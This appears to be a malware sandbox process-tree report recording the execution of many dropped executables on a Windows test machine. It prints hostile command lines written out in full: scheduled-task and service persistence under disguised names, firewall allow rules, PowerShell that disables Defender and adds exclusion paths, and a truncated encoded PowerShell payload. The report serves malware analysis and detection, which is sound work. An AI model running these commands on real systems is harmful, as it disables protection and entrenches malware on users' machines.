C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3252 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3268 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3780 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3800 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3972 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4108 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4268 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4284 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4088 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4568 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4940 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4092 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5028 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5096 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5092 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=2236,i,8004698512599942790,8467452805312094861,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5992 /prefetch:15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\klr.exe"C:\Users\Admin\AppData\Local\Temp\a\klr.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3dfa6b71eb1f52a6.exe"C:\Users\Admin\AppData\Local\Temp\a\file_3dfa6b71eb1f52a6.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "vortex" /tr '"C:\Users\Admin\AppData\Roaming\vortex.exe"' & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "vortex" /tr '"C:\Users\Admin\AppData\Roaming\vortex.exe"'5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC2D6.tmp.bat""4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout 35⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\vortex.exe"C:\Users\Admin\AppData\Roaming\vortex.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b82f2dba4422534f.exe"C:\Users\Admin\AppData\Local\Temp\a\file_b82f2dba4422534f.exe"3⤵
- Checks processor information in registry
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exe"C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exe"C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exe"3⤵
- Suspicious use of SetThreadContext
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\7.exe"C:\Users\Admin\AppData\Local\Temp\a\7.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\8.exe"C:\Users\Admin\AppData\Local\Temp\a\8.exe"3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe"C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /f /tn "JavaChecker_Admin" /tr "C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe" /sc onlogon /rl highest4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Ebu.exe"C:\Users\Admin\AppData\Local\Temp\a\Ebu.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exe"C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exe"3⤵
- Checks processor information in registry
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"4⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\php.exe"C:\Users\Admin\AppData\Local\Temp\a\php.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\hilton.exe"C:\Users\Admin\AppData\Local\Temp\a\hilton.exe"3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x4⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\acr-g1upd-639159296668701809.exe"C:\Users\Admin\AppData\Local\Temp\a\acr-g1upd-639159296668701809.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\loader.exe"C:\Users\Admin\AppData\Local\Temp\a\loader.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color 0D4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\install.exe"C:\Users\Admin\AppData\Local\Temp\a\install.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\finale.exe"C:\Users\Admin\AppData\Local\Temp\a\finale.exe"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W41d3f5a9"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exe"C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exe"C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\21.exe"C:\Users\Admin\AppData\Local\Temp\a\21.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ZSXSAH9Z50.tmp\21.tmp"C:\Users\Admin\AppData\Local\Temp\is-ZSXSAH9Z50.tmp\21.tmp" /SL5="$120060,2663286,871424,C:\Users\Admin\AppData\Local\Temp\a\21.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exe"C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exe"C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ijfcqne0\ijfcqne0.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF3B4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE27673907C7246F7AE33A09A1218C8.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xwqjbxkg\xwqjbxkg.cmdline"4⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc start "System Diagnostics Host" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc start "System Diagnostics Host"5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"5⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes5⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\Media\mppr.exe"C:\Windows\Media\mppr.exe"4⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"6⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"6⤵
- Modifies Windows Firewall
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3b2nldre.os2.bat""4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout 85⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe"3⤵
-
C:\Users\Admin\AppData\Local\993e9b8e-0c61-42a7-9e5d-a648fa866977\background.exe"C:\Users\Admin\AppData\Local\993e9b8e-0c61-42a7-9e5d-a648fa866977\background.exe"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAc